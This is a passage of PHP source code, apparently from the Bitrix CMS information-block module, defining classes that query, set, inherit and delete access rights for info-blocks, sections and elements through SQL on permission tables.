			|| empty($arOptions["operations"])
		)
		{
			$rs = $DB->Query("
				SELECT
					BR.ID
					,BR.GROUP_CODE
					,BR.TASK_ID
					,BR.DO_INHERIT
					,'N' IS_INHERITED
					,BR.XML_ID
					,BR.ENTITY_TYPE
					,BR.ENTITY_ID
				FROM
					b_iblock_right BR
				WHERE
					BR.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND BR.ENTITY_TYPE = 'iblock'
				ORDER BY
					BR.ID
			");
		}
		elseif(
			isset($arOptions["operations_mode"])
			&& $arOptions["operations_mode"] == CIBlockRights::ALL_OPERATIONS
			&& count($arOptions["operations"]) > 1
		)
		{
			$arOperations = array_map(array($DB, "ForSQL"), $arOptions["operations"]);
			$rs = $DB->Query("
				SELECT
					BR.ID, BR.GROUP_CODE, BR.TASK_ID, BR.DO_INHERIT, 'N' IS_INHERITED, BR.XML_ID
				FROM
					b_iblock_right BR
					INNER JOIN b_task_operation T ON T.TASK_ID = BR.TASK_ID
					INNER JOIN b_operation O ON O.ID = T.OPERATION_ID
				WHERE
					BR.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND BR.ENTITY_TYPE = 'iblock'
					AND O.NAME IN ('".implode("', '", $arOperations)."')
				GROUP BY
					BR.ID, BR.GROUP_CODE, BR.TASK_ID, BR.DO_INHERIT
				HAVING
					COUNT(DISTINCT O.ID) = ".count($arOperations)."
				ORDER BY
					BR.ID
			");
		}
		else//if($opMode == CIBlockRights::ANY_OPERATION)
		{
			$arOperations = array_map(array($DB, "ForSQL"), $arOptions["operations"]);
			$rs = $DB->Query("
				SELECT DISTINCT
					BR.ID, BR.GROUP_CODE, BR.TASK_ID, BR.DO_INHERIT, 'N' IS_INHERITED, BR.XML_ID
				FROM
					b_iblock_right BR
					INNER JOIN b_task_operation T ON T.TASK_ID = BR.TASK_ID
					INNER JOIN b_operation O ON O.ID = T.OPERATION_ID
				WHERE
					BR.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND BR.ENTITY_TYPE = 'iblock'
					AND O.NAME IN ('".implode("', '", $arOperations)."')
				ORDER BY
					BR.ID
			");
		}

		$obStorage = $this->_storage_object();
		while($ar = $rs->Fetch())
		{
			$arResult[$ar["ID"]] = array(
				"GROUP_CODE" => $ar["GROUP_CODE"],
				"DO_INHERIT" => $ar["DO_INHERIT"],
				"IS_INHERITED" => $ar["IS_INHERITED"],
				"OVERWRITED" => isset($arOptions["count_overwrited"]) && $arOptions["count_overwrited"]? $obStorage->CountOverWrited($ar["GROUP_CODE"]): 0,
				"TASK_ID" => $ar["TASK_ID"],
				"XML_ID" => $ar["XML_ID"],
			);
			if(isset($ar["ENTITY_TYPE"]))
				$arResult[$ar["ID"]]["ENTITY_TYPE"] = $ar["ENTITY_TYPE"];
			if(isset($ar["ENTITY_ID"]))
				$arResult[$ar["ID"]]["ENTITY_ID"] = $ar["ENTITY_ID"];
		}

		return $arResult;
	}

	function DeleteAllRights()
	{
		$stor = $this->_storage_object();
		$stor->CleanUp(/*$bFull=*/true);
	}

	function Recalculate()
	{
		$stor = $this->_storage_object();
		$stor->Recalculate();
	}

	function ChangeParents($arOldParents, $arNewParents)
	{
		$obStorage = $this->_storage_object();

		foreach($arOldParents as $id)
		{
			$ob = $this->_get_parent_object($id);
			if(is_object($ob))
			{
				$arRights = $ob->GetRights();
				foreach($arRights as $RIGHT_ID => $arRight)
				{
					if($arRight["DO_INHERIT"] === "Y")
					{
						$obStorage->DeleteSelfSet($RIGHT_ID, CIBlockRights::RIGHT_ID);
						$obStorage->DeleteChildrenSet($RIGHT_ID, CIBlockRights::RIGHT_ID);
					}
				}
			}
		}

		$arOwnGroupCodes = array();
		$arDBRights = $this->GetRights();
		foreach($arDBRights as $RIGHT_ID => $arOwnRight)
			$arOwnGroupCodes[$arOwnRight["GROUP_CODE"]] = $RIGHT_ID;

		foreach($arNewParents as $id)
		{
			$ob = $this->_get_parent_object($id);
			if(is_object($ob))
			{
				$arRights = $ob->GetRights();
				foreach($arRights as $RIGHT_ID => $arRight)
				{
					if(
						$arRight["DO_INHERIT"] === "Y"
						&& !array_key_exists($arRight["GROUP_CODE"], $arOwnGroupCodes)
					)
					{
						$obStorage->_set_section($id);
						$obStorage->AddSelfSet($RIGHT_ID, /*$bInherited=*/true);
						$obStorage->AddChildrenSet($RIGHT_ID, $arRight["GROUP_CODE"], /*$bInherited=*/true);
					}
				}
			}
		}
	}

	function _get_parent_object($id)
	{
		if($id <= 0)
			return new CIBlockRights($this->IBLOCK_ID, $id);
		else
			return new CIBlockSectionRights($this->IBLOCK_ID, $id);
	}

	function SetRights($arRights)
	{
		if(!$this->_self_check())
			return false;

		$arDBRights = $this->GetRights();
		$arTasks = $this->GetRightsList(false);

		$arAddedCodes = array();
		$arUniqCodes = array();
		foreach($arRights as $RIGHT_ID => $arRightSet)
		{
			if(strlen($arRightSet["GROUP_CODE"]) > 0)
			{
				if(isset($arUniqCodes[$arRightSet["GROUP_CODE"]]))
					unset($arRights[$RIGHT_ID]);
				else
					$arUniqCodes[$arRightSet["GROUP_CODE"]] = true;
			}
		}

		//Fix broken TASK_ID
		foreach($arRights as $RIGHT_ID => $arRightSet)
		{
			if(
				!is_array($arRightSet["TASK_ID"])
				&& !array_key_exists($arRightSet["TASK_ID"], $arTasks)
				&& array_key_exists($RIGHT_ID, $arDBRights)
			)
				$arRights[$RIGHT_ID]["TASK_ID"] = $arDBRights[$RIGHT_ID]["TASK_ID"];
		}

		$bCleanUp = false;
		$obStorage = $this->_storage_object();
		foreach($arRights as $RIGHT_ID => $arRightSet)
		{
			$ID = intval($RIGHT_ID);
			$GROUP_CODE = $arRightSet["GROUP_CODE"];
			$bInherit = true;//$arRightSet["DO_INHERIT"] == "Y";
			$bChildrenSet = false;

			if(strlen($GROUP_CODE) <= 0 || is_array($arRightSet["TASK_ID"]))
				continue;

			if(!array_key_exists($arRightSet["TASK_ID"], $arTasks))
				continue;

			if(
				array_key_exists($RIGHT_ID, $arDBRights)
				&& isset($arRightSet["DO_CLEAN"])
				&& $arRightSet["DO_CLEAN"] == "Y"
			)
			{
				$obStorage->DeleteChildrenSet($GROUP_CODE, CIBlockRights::GROUP_CODE);
				$bChildrenSet = true;
				$bCleanUp = true;
			}

			if(substr($RIGHT_ID, 0, 1) == "n")
			{
				$arAddedCodes[$GROUP_CODE] = $GROUP_CODE;
				$NEW_RIGHT_ID = $this->_add(
					$GROUP_CODE,
					$bInherit,
					$arRightSet["TASK_ID"],
					isset($arRightSet["XML_ID"])? $arRightSet["XML_ID"]: false
				);

				if(!isset($arRightSet["DO_CLEAN"]) || $arRightSet["DO_CLEAN"] !== "NOT")
					$obStorage->DeleteSelfSet($GROUP_CODE, CIBlockRights::GROUP_CODE);
				$obStorage->AddSelfSet($NEW_RIGHT_ID);

				if(!isset($arRightSet["DO_CLEAN"]) || $arRightSet["DO_CLEAN"] !== "NOT")
					$obStorage->DeleteChildrenSet($GROUP_CODE, CIBlockRights::GROUP_CODE);
				if($bInherit)
					$obStorage->AddChildrenSet($NEW_RIGHT_ID, $GROUP_CODE, /*$bInherited=*/true);
			}
			elseif(
				array_key_exists($ID, $arDBRights)
				&& $arDBRights[$ID]["IS_INHERITED"] != "Y"
			)
			{
				$this->_update($ID, $GROUP_CODE, $bInherit, $arRightSet["TASK_ID"]);

				if($bInherit && $bChildrenSet)
					$obStorage->AddChildrenSet($ID, $GROUP_CODE, /*$bInherited=*/true);

				unset($arDBRights[$ID]);
			}
		}

		foreach($arDBRights as $RIGHT_ID => $arRightSet)
		{
			if($arRightSet["IS_INHERITED"] == "Y")
				continue;

			$obStorage->DeleteSelfSet($RIGHT_ID, CIBlockRights::RIGHT_ID);
			if($arRightSet["DO_INHERIT"] == "Y")
				$obStorage->DeleteChildrenSet($RIGHT_ID, CIBlockRights::RIGHT_ID);

			$this->_delete($RIGHT_ID);

			if(!isset($arAddedCodes[$arRightSet["GROUP_CODE"]]))
			{
				foreach($obStorage->FindParentWithInherit($arRightSet["GROUP_CODE"]) as $SECTION_ID => $PARENT_RIGHT)
				{
					$obStorage->AddSelfSet($PARENT_RIGHT, /*$bInherited=*/true);
					$obStorage->AddChildrenSet($PARENT_RIGHT, $arRightSet["GROUP_CODE"], /*$bInherited=*/true);
				}
			}
		}

		if ($bCleanUp)
			$obStorage->CleanUp();

		CIBlock::clearIblockTagCache($this->IBLOCK_ID);

		return true;
	}

	function _add($GROUP_CODE, $bInherit, $TASK_ID, $XML_ID)
	{
		global $DB;
		$arOperations = CTask::GetOperations($TASK_ID, /*$return_names=*/true);

		$NEW_RIGHT_ID = $DB->Add("b_iblock_right", array(
			"IBLOCK_ID" => $this->IBLOCK_ID,
			"GROUP_CODE" => $GROUP_CODE,
			"ENTITY_TYPE" => $this->_entity_type(),
			"ENTITY_ID" => $this->id,
			"DO_INHERIT" => $bInherit? "Y": "N",
			"TASK_ID" => $TASK_ID,
			"OP_SREAD" => in_array("section_read", $arOperations)? "Y": "N",
			"OP_EREAD" => in_array("element_read", $arOperations)? "Y": "N",
			"XML_ID" => (strlen($XML_ID) > 0? $XML_ID: false),
		));

		return $NEW_RIGHT_ID;
	}

	function _update($RIGHT_ID, $GROUP_CODE, $bInherit, $TASK_ID)
	{
		global $DB;
		$RIGHT_ID = intval($RIGHT_ID);
		$arOperations = CTask::GetOperations($TASK_ID, /*$return_names=*/true);

		$strUpdate = $DB->PrepareUpdate("b_iblock_right", array(
			//"GROUP_CODE" => $GROUP_CODE,
			"DO_INHERIT" => $bInherit? "Y": "N",
			"TASK_ID" => $TASK_ID,
			"OP_SREAD" => in_array("section_read", $arOperations)? "Y": "N",
			"OP_EREAD" => in_array("element_read", $arOperations)? "Y": "N",
		));
		$DB->Query("UPDATE b_iblock_right SET ".$strUpdate." WHERE ID = ".$RIGHT_ID);
	}

	function _delete($RIGHT_ID)
	{
		global $DB;
		$RIGHT_ID = intval($RIGHT_ID);
		$DB->Query("DELETE FROM b_iblock_right WHERE ID = ".$RIGHT_ID);
	}

	function _storage_object()
	{
		return new CIBlockRightsStorage($this->IBLOCK_ID, 0, 0);
	}

	static function UserHasRightTo($IBLOCK_ID, $ID, $permission, $flags = 0)
	{
		$acc = new CAccess;
		$acc->UpdateCodes();

		$obRights = new CIBlockRights($IBLOCK_ID);

		return CIBlockRights::_check_if_user_has_right($obRights, $ID, $permission, $flags);
	}

	/**
	 * @param CIBlockRights $obRights
	 * @param array|integer $ID
	 * @param string $permission
	 * @param integer $flags
	 * @return array|boolean
	 */
	static function _check_if_user_has_right($obRights, $ID, $permission, $flags = 0)
	{
		global $DB, $USER;
		$USER_ID = 0;

		if($USER_ID > 0 && (!is_object($USER) || $USER_ID != $USER->GetID()))
		{
			$user_id = intval($USER_ID);
			$arGroups = CUser::GetUserGroup($USER_ID);

			if(
				in_array(1, $arGroups)
				&& COption::GetOptionString("main", "controller_member", "N") != "Y"
				&& COption::GetOptionString("main", "~controller_limited_admin", "N") != "Y"
			)
			{
				return CIBlockRights::_mk_result($ID, CIBlockRights::LetterToOperations("X"), true, $flags);
			}
		}
		elseif(!is_object($USER))
		{
			return CIBlockRights::_mk_result($ID, array(), false, $flags);
		}
		elseif($USER->IsAdmin())
		{
			return CIBlockRights::_mk_result($ID, CIBlockRights::LetterToOperations("X"), true, $flags);
		}

		$user_id = intval($USER->GetID());
		$arGroups = $USER->GetUserGroupArray();

		$RIGHTS_MODE = CIBlock::GetArrayByID($obRights->GetIBlockID(), "RIGHTS_MODE");
		if($RIGHTS_MODE === "E")
		{
			if(is_array($ID))
				$arOperations = $obRights->GetUserOperations($ID, $user_id);
			else
			{
				static $cache;
				$cache_id = get_class($obRights).$user_id."|".$ID;
				if(!isset($cache[$cache_id]))
					$cache[$cache_id] = $obRights->GetUserOperations($ID, $user_id);
				$arOperations = $cache[$cache_id];
			}

			if($flags & CIBlockRights::RETURN_OPERATIONS)
				return $arOperations;
			else
				return isset($arOperations[$permission]);
		}
		else//if($RIGHTS_MODE === "S")
		{
			$letter = CIBlock::GetPermission($obRights->GetIBlockID());
			$arOperations = CIBlockRights::_mk_result($ID, CIBlockRights::LetterToOperations($letter), CIBlockRights::LetterToOperations($letter), $flags);

			if($flags & CIBlockRights::RETURN_OPERATIONS)
				return $arOperations;
			else
				return isset($arOperations[$permission]);
		}
	}

	static function _mk_result($ID, $arOperations, $bAllow, $flags)
	{
		if($flags & CIBlockRights::RETURN_OPERATIONS)
		{
			if(is_array($ID))
			{
				$result = array();
				foreach($ID as $id)
					$result[$id] = $arOperations;
			}
			else
			{
				$result = $arOperations;
			}
		}
		else
		{
			$result = $bAllow;
		}
		return $result;
	}

	static function GetUserOperations($arID, $USER_ID = 0)
	{
		global $DB, $USER;
		$USER_ID = intval($USER_ID);

		if(is_object($USER))
		{
			if($USER_ID <= 0)
				$USER_ID = intval($USER->GetID());
			$bAuthorized = $USER->IsAuthorized();
		}
		else
		{
			$bAuthorized = false;
		}

		if(!is_array($arID))
			$sqlID = array(intval($arID));
		else
			$sqlID = array_map('intval', $arID);

		$rs = $DB->Query("
			SELECT IBR.ENTITY_ID ID, O.NAME
			FROM b_iblock_right IBR
			INNER JOIN b_task_operation T ON T.TASK_ID = IBR.TASK_ID
			INNER JOIN b_operation O ON O.ID = T.OPERATION_ID
			".($USER_ID > 0? "LEFT": "INNER")." JOIN b_user_access UA ON UA.ACCESS_CODE = IBR.GROUP_CODE AND UA.USER_ID = ".$USER_ID."
			WHERE IBR.ENTITY_TYPE = 'iblock'
			AND IBR.ENTITY_ID in (".implode(", ", $sqlID).")
			AND (UA.USER_ID IS NOT NULL ".($bAuthorized? "OR IBR.GROUP_CODE = 'AU'": "").")
		");

		$arResult = array();
		while($ar = $rs->Fetch())
			$arResult[$ar["ID"]][$ar["NAME"]] = $ar["NAME"];

		if(is_array($arID))
			return $arResult;
		elseif(array_key_exists($arID, $arResult))
			return $arResult[$arID];
		else
			return array();
	}
}

class CIBlockSectionRights extends CIBlockRights
{
	function __construct($IBLOCK_ID, $SECTION_ID)
	{
		parent::__construct($IBLOCK_ID);
		$this->id = intval($SECTION_ID);
	}

	function _self_check()
	{
		global $DB;
		$rs = $DB->Query("
			SELECT ID
			FROM b_iblock_section
			WHERE IBLOCK_ID = ".$this->IBLOCK_ID."
			AND ID = ".$this->id."
		");
		return is_array($rs->Fetch());
	}

	function _entity_type()
	{
		return "section";
	}

	function _storage_object()
	{
		return new CIBlockRightsStorage($this->IBLOCK_ID, $this->id, 0);
	}

	function GetList($arFilter)
	{
		global $DB;

		$obQueryWhere = new CSQLWhere;
		$obQueryWhere->SetFields(array(
			"IBLOCK_ID" => array(
				"TABLE_ALIAS" => "SR",
				"FIELD_NAME" => "SR.IBLOCK_ID",
				"MULTIPLE" => "N",
				"FIELD_TYPE" => "int",
				"JOIN" => false,
			),
			"ITEM_ID" => array(
				"TABLE_ALIAS" => "SR",
				"FIELD_NAME" => "SR.SECTION_ID",
				"MULTIPLE" => "N",
				"FIELD_TYPE" => "int",
				"JOIN" => false,
			),
		));

		$strWhere = $obQueryWhere->GetQuery($arFilter);

		return $DB->Query("
			SELECT
				SR.SECTION_ID ITEM_ID
				,BR.ID RIGHT_ID
				,BR.GROUP_CODE
				,BR.TASK_ID
				,BR.DO_INHERIT
				,SR.IS_INHERITED
				,BR.XML_ID
			FROM
				b_iblock_section_right SR
				INNER JOIN b_iblock_right BR ON BR.ID = SR.RIGHT_ID
			".($strWhere? "WHERE ".$strWhere: "")."
			ORDER BY
				BR.ID
		");
	}

	function GetRights($arOptions = array())
	{
		global $DB;
		$arResult = array();

		if($this->id <= 0)
			return parent::GetRights($arOptions);

		if(
			!isset($arOptions["operations"])
			|| !is_array($arOptions["operations"])
			|| empty($arOptions["operations"])
		)
		{
			$rs = $DB->Query("
				SELECT
					BR.ID
					,BR.GROUP_CODE
					,BR.TASK_ID
					,BR.DO_INHERIT
					,SR.IS_INHERITED
					,BR.XML_ID
					,BR.ENTITY_TYPE
					,BR.ENTITY_ID
				FROM
					b_iblock_section_right SR
					INNER JOIN b_iblock_right BR ON BR.ID = SR.RIGHT_ID
				WHERE
					SR.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND SR.SECTION_ID = ".$this->id."
				ORDER BY
					BR.ID
			");
		}
		elseif(
			isset($arOptions["operations_mode"])
			&& $arOptions["operations_mode"] == CIBlockRights::ALL_OPERATIONS
			&& count($arOptions["operations"]) > 1
		)
		{
			$arOperations = array_map(array($DB, "ForSQL"), $arOptions["operations"]);
			$rs = $DB->Query("
				SELECT
					BR.ID, BR.GROUP_CODE, BR.TASK_ID, BR.DO_INHERIT, SR.IS_INHERITED, BR.XML_ID
				FROM
					b_iblock_section_right SR
					INNER JOIN b_iblock_right BR ON BR.ID = SR.RIGHT_ID
					INNER JOIN b_task_operation T ON T.TASK_ID = BR.TASK_ID
					INNER JOIN b_operation O ON O.ID = T.OPERATION_ID
				WHERE
					SR.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND SR.SECTION_ID = ".$this->id."
					AND O.NAME IN ('".implode("', '", $arOperations)."')
				GROUP BY
					BR.ID, BR.GROUP_CODE, BR.TASK_ID, BR.DO_INHERIT, SR.IS_INHERITED
				HAVING
					COUNT(DISTINCT O.ID) = ".count($arOperations)."
				ORDER BY
					BR.ID
			");
		}
		else//if($opMode == CIBlockRights::ANY_OPERATION)
		{
			$arOperations = array_map(array($DB, "ForSQL"), $arOptions["operations"]);
			$rs = $DB->Query("
				SELECT DISTINCT
					BR.ID, BR.GROUP_CODE, BR.TASK_ID, BR.DO_INHERIT, SR.IS_INHERITED, BR.XML_ID
				FROM
					b_iblock_section_right SR
					INNER JOIN b_iblock_right BR ON BR.ID = SR.RIGHT_ID
					INNER JOIN b_task_operation T ON T.TASK_ID = BR.TASK_ID
					INNER JOIN b_operation O ON O.ID = T.OPERATION_ID
				WHERE
					SR.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND SR.SECTION_ID = ".$this->id."
					AND O.NAME IN ('".implode("', '", $arOperations)."')
				ORDER BY
					BR.ID
			");
		}

		if(isset($arOptions["parent"]))
		{
			$obParentRights = new CIBlockSectionRights($this->IBLOCK_ID, $arOptions["parent"]);
			$arParentRights = $obParentRights->GetRights();
			foreach($arParentRights as $RIGHT_ID => $arRight)
			{
				$arResult[$RIGHT_ID] = array(
					"GROUP_CODE" => $arRight["GROUP_CODE"],
					"DO_INHERIT" => $arRight["DO_INHERIT"],
					"IS_INHERITED" => "Y",
					"IS_OVERWRITED" => "Y",
					"TASK_ID" => $arRight["TASK_ID"],
					"XML_ID" => $arRight["XML_ID"],
				);
				if(isset($arRight["ENTITY_TYPE"]))
					$arResult[$RIGHT_ID]["ENTITY_TYPE"] = $arRight["ENTITY_TYPE"];
				if(isset($arRight["ENTITY_ID"]))
					$arResult[$RIGHT_ID]["ENTITY_ID"] = $arRight["ENTITY_ID"];
			}
		}

		$obStorage = $this->_storage_object();
		while($ar = $rs->Fetch())
		{
			$arResult[$ar["ID"]] = array(
				"GROUP_CODE" => $ar["GROUP_CODE"],
				"DO_INHERIT" => $ar["DO_INHERIT"],
				"IS_INHERITED" => $ar["IS_INHERITED"],
				"OVERWRITED" => isset($arOptions["count_overwrited"]) && $arOptions["count_overwrited"]? $obStorage->CountOverWrited($ar["GROUP_CODE"]): 0,
				"TASK_ID" => $ar["TASK_ID"],
				"XML_ID" => $ar["XML_ID"],
			);
			if(isset($ar["ENTITY_TYPE"]))
				$arResult[$ar["ID"]]["ENTITY_TYPE"] = $ar["ENTITY_TYPE"];
			if(isset($ar["ENTITY_ID"]))
				$arResult[$ar["ID"]]["ENTITY_ID"] = $ar["ENTITY_ID"];
		}

		return $arResult;
	}

	function DeleteAllRights()
	{
		$stor = $this->_storage_object();
		$stor->DeleteRights();
		$stor->CleanUp(/*$bFull=*/false);
	}

	static function UserHasRightTo($IBLOCK_ID, $ID, $permission, $flags = 0)
	{
		$acc = new CAccess;
		$acc->UpdateCodes();

		if($ID > 0)
		{
			$obRights = new CIBlockSectionRights($IBLOCK_ID, 0);
			$ID2CHECK = $ID;
		}
		else
		{
			$obRights = new CIBlockRights($IBLOCK_ID);
			$ID2CHECK = $IBLOCK_ID;
		}

		return CIBlockRights::_check_if_user_has_right($obRights, $ID2CHECK, $permission, $flags);
	}

	static function GetUserOperations($arID, $USER_ID = 0)
	{
		global $DB, $USER;
		$USER_ID = intval($USER_ID);

		if(is_object($USER))
		{
			if($USER_ID <= 0)
				$USER_ID = intval($USER->GetID());
			$bAuthorized = $USER->IsAuthorized();
		}
		else
		{
			$bAuthorized = false;
		}

		if(!is_array($arID))
			$sqlID = array(intval($arID));
		elseif(empty($arID))
			return array();
		else
			$sqlID = array_map('intval', $arID);

		$rs = $DB->Query("
			SELECT SR.SECTION_ID ID, O.NAME
			FROM b_iblock_section BS
			INNER JOIN b_iblock_section_right SR ON SR.SECTION_ID = BS.ID
			INNER JOIN b_iblock_right IBR ON IBR.ID = SR.RIGHT_ID
			INNER JOIN b_task_operation T ON T.TASK_ID = IBR.TASK_ID
			INNER JOIN b_operation O ON O.ID = T.OPERATION_ID
			".($USER_ID > 0? "LEFT": "INNER")." JOIN b_user_access UA ON UA.ACCESS_CODE = IBR.GROUP_CODE AND UA.USER_ID = ".$USER_ID."
			WHERE BS.ID in (".implode(", ", $sqlID).")
			".($bAuthorized || $USER_ID > 0? "
				AND (UA.USER_ID IS NOT NULL
				".($bAuthorized? "OR IBR.GROUP_CODE = 'AU'": "")."
				".($USER_ID > 0? "OR (IBR.GROUP_CODE = 'CR' AND BS.CREATED_BY = ".$USER_ID.")": "")."
			)": "")."
		");

		$arResult = array();
		while($ar = $rs->Fetch())
			$arResult[$ar["ID"]][$ar["NAME"]] = $ar["NAME"];

		if(is_array($arID))
			return $arResult;
		elseif(array_key_exists($arID, $arResult))
			return $arResult[$arID];
		else
			return array();
	}
}

class CIBlockElementRights extends CIBlockRights
{
	function __construct($IBLOCK_ID, $ELEMENT_ID)
	{
		parent::__construct($IBLOCK_ID);
		$this->id = intval($ELEMENT_ID);
	}

	function _self_check()
	{
		global $DB;
		$rs = $DB->Query("
			SELECT ID
			FROM b_iblock_element
			WHERE IBLOCK_ID = ".$this->IBLOCK_ID."
			AND ID = ".$this->id."
		");
		return is_array($rs->Fetch());
	}

	function _entity_type()
	{
		return "element";
	}

	function _storage_object()
	{
		return new CIBlockRightsStorage($this->IBLOCK_ID, 0, $this->id);
	}

	function GetList($arFilter)
	{
		global $DB;

		$obQueryWhere = new CSQLWhere;
		$obQueryWhere->SetFields(array(
			"IBLOCK_ID" => array(
				"TABLE_ALIAS" => "ER",
				"FIELD_NAME" => "ER.IBLOCK_ID",
				"MULTIPLE" => "N",
				"FIELD_TYPE" => "int",
				"JOIN" => false,
			),
			"ITEM_ID" => array(
				"TABLE_ALIAS" => "ER",
				"FIELD_NAME" => "ER.ELEMENT_ID",
				"MULTIPLE" => "N",
				"FIELD_TYPE" => "int",
				"JOIN" => false,
			),
		));

		$strWhere = $obQueryWhere->GetQuery($arFilter);

		return $DB->Query("
			SELECT
				ER.ELEMENT_ID ITEM_ID
				,BR.ID RIGHT_ID
				,BR.GROUP_CODE
				,BR.TASK_ID
				,BR.DO_INHERIT
				,ER.IS_INHERITED
				,BR.XML_ID
			FROM
				b_iblock_element_right ER
				INNER JOIN b_iblock_right BR ON BR.ID = ER.RIGHT_ID
			".($strWhere? "WHERE ".$strWhere: "")."
			ORDER BY
				BR.ID
		");
	}

	function GetRights($arOptions = array())
	{
		global $DB;
		$arResult = array();

		if(
			!isset($arOptions["operations"])
			|| !is_array($arOptions["operations"])
			|| empty($arOptions["operations"])
		)
		{
			$rs = $DB->Query("
				SELECT
					BR.ID
					,BR.GROUP_CODE
					,BR.TASK_ID
					,BR.DO_INHERIT
					,ER.IS_INHERITED
					,BR.XML_ID
					,BR.ENTITY_TYPE
					,BR.ENTITY_ID
				FROM
					b_iblock_element_right ER
					INNER JOIN b_iblock_right BR ON BR.ID = ER.RIGHT_ID
				WHERE
					ER.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND ER.ELEMENT_ID = ".$this->id."
				ORDER BY
					BR.ID
			");
		}
		elseif(
			isset($arOptions["operations_mode"])
			&& $arOptions["operations_mode"] == CIBlockRights::ALL_OPERATIONS
			&& count($arOptions["operations"]) > 1
		)
		{
			$arOperations = array_map(array($DB, "ForSQL"), $arOptions["operations"]);
			$rs = $DB->Query("
				SELECT
					BR.ID, BR.GROUP_CODE, BR.TASK_ID, BR.DO_INHERIT, ER.IS_INHERITED, BR.XML_ID
				FROM
					b_iblock_element_right ER
					INNER JOIN b_iblock_right BR ON BR.ID = ER.RIGHT_ID
					INNER JOIN b_task_operation T ON T.TASK_ID = BR.TASK_ID
					INNER JOIN b_operation O ON O.ID = T.OPERATION_ID
				WHERE
					ER.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND ER.ELEMENT_ID = ".$this->id."
					AND O.NAME IN ('".implode("', '", $arOperations)."')
				GROUP BY
					BR.ID, BR.GROUP_CODE, BR.TASK_ID, BR.DO_INHERIT, ER.IS_INHERITED
				HAVING
					COUNT(DISTINCT O.ID) = ".count($arOperations)."
				ORDER BY
					BR.ID
			");
		}
		else//if($opMode == CIBlockRights::ANY_OPERATION)
		{
			$arOperations = array_map(array($DB, "ForSQL"), $arOptions["operations"]);
			$rs = $DB->Query("
				SELECT DISTINCT
					BR.ID, BR.GROUP_CODE, BR.TASK_ID, BR.DO_INHERIT, ER.IS_INHERITED, BR.XML_ID
				FROM
					b_iblock_element_right ER
					INNER JOIN b_iblock_right BR ON BR.ID = ER.RIGHT_ID
					INNER JOIN b_task_operation T ON T.TASK_ID = BR.TASK_ID
					INNER JOIN b_operation O ON O.ID = T.OPERATION_ID
				WHERE
					ER.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND ER.ELEMENT_ID = ".$this->id."
					AND O.NAME IN ('".implode("', '", $arOperations)."')
				ORDER BY
					BR.ID
			");
		}

		if(isset($arOptions["parents"]) && is_array($arOptions["parents"]))
		{
			foreach($arOptions["parents"] as $parent)
			{
				$obParentRights = new CIBlockSectionRights($this->IBLOCK_ID, $parent);
				$arParentRights = $obParentRights->GetRights();
				foreach($arParentRights as $RIGHT_ID => $arRight)
				{
					$arResult[$RIGHT_ID] = array(
						"GROUP_CODE" => $arRight["GROUP_CODE"],
						"DO_INHERIT" => $arRight["DO_INHERIT"],
						"IS_INHERITED" => "Y",
						"IS_OVERWRITED" => "Y",
						"TASK_ID" => $arRight["TASK_ID"],
						"XML_ID" => $arRight["XML_ID"],
					);
					if(isset($arRight["ENTITY_TYPE"]))
						$arResult[$RIGHT_ID]["ENTITY_TYPE"] = $arRight["ENTITY_TYPE"];
					if(isset($arRight["ENTITY_ID"]))
						$arResult[$RIGHT_ID]["ENTITY_ID"] = $arRight["ENTITY_ID"];
				}
			}
		}

		$obStorage = $this->_storage_object();
		while($ar = $rs->Fetch())
		{
			$arResult[$ar["ID"]] = array(
				"GROUP_CODE" => $ar["GROUP_CODE"],
				"DO_INHERIT" => $ar["DO_INHERIT"],
				"IS_INHERITED" => $ar["IS_INHERITED"],
				"OVERWRITED" => 0,
				"TASK_ID" => $ar["TASK_ID"],
				"XML_ID" => $ar["XML_ID"],
			);
			if(isset($ar["ENTITY_TYPE"]))
				$arResult[$ar["ID"]]["ENTITY_TYPE"] = $ar["ENTITY_TYPE"];
			if(isset($ar["ENTITY_ID"]))
				$arResult[$ar["ID"]]["ENTITY_ID"] = $ar["ENTITY_ID"];
		}

		return $arResult;
	}

	function DeleteAllRights()
	{
		$stor = $this->_storage_object();
		$stor->DeleteRights();
		$stor->CleanUp(/*$bFull=*/false);
	}

	static function UserHasRightTo($IBLOCK_ID, $ID, $permission, $flags = 0)
	{
		$acc = new CAccess;
		$acc->UpdateCodes();

		$obRights = new CIBlockElementRights($IBLOCK_ID, 0);

		return CIBlockRights::_check_if_user_has_right($obRights, $ID, $permission, $flags);
	}

	static function GetUserOperations($arID, $USER_ID = 0)
	{
		global $DB, $USER;
		$USER_ID = intval($USER_ID);

		if(is_object($USER))
		{
			if($USER_ID <= 0)
				$USER_ID = intval($USER->GetID());
			$bAuthorized = $USER->IsAuthorized();
		}
		else
		{
			$bAuthorized = false;
		}

		if ($USER_ID > 0)
		{
			$acc = new CAccess;
			$acc->UpdateCodes(array('USER_ID' => $USER_ID));
		}

		if(!is_array($arID))
			$sqlID = array(intval($arID));
		elseif(empty($arID))
			return array();
		else
			$sqlID = array_map('intval', $arID);

		$arResult = array();

		while (!empty($sqlID))
		{
			if (count($sqlID) > 1000)
			{
				$head = array_slice($sqlID, 0, 1000);
				array_splice($sqlID, 0, 1000);
			}
			else
			{
				$head = $sqlID;
				$sqlID = array();
			}

			$rs = $DB->Query($s="
				SELECT ER.ELEMENT_ID ID, O.NAME
				FROM b_iblock_element E
				INNER JOIN b_iblock_element_right ER ON ER.ELEMENT_ID = E.ID
				INNER JOIN b_iblock_right IBR ON IBR.ID = ER.RIGHT_ID
				INNER JOIN b_task_operation T ON T.TASK_ID = IBR.TASK_ID
				INNER JOIN b_operation O ON O.ID = T.OPERATION_ID
				".($USER_ID > 0? "LEFT": "INNER")." JOIN b_user_access UA ON UA.ACCESS_CODE = IBR.GROUP_CODE AND UA.USER_ID = ".$USER_ID."
				WHERE E.ID in (".implode(", ", $head).")
				".($bAuthorized || $USER_ID > 0? "
					AND (UA.USER_ID IS NOT NULL
					".($bAuthorized? "OR IBR.GROUP_CODE = 'AU'": "")."
					".($USER_ID > 0? "OR (IBR.GROUP_CODE = 'CR' AND E.CREATED_BY = ".$USER_ID.")": "")."
				)": "")."
			");

			while($ar = $rs->Fetch())
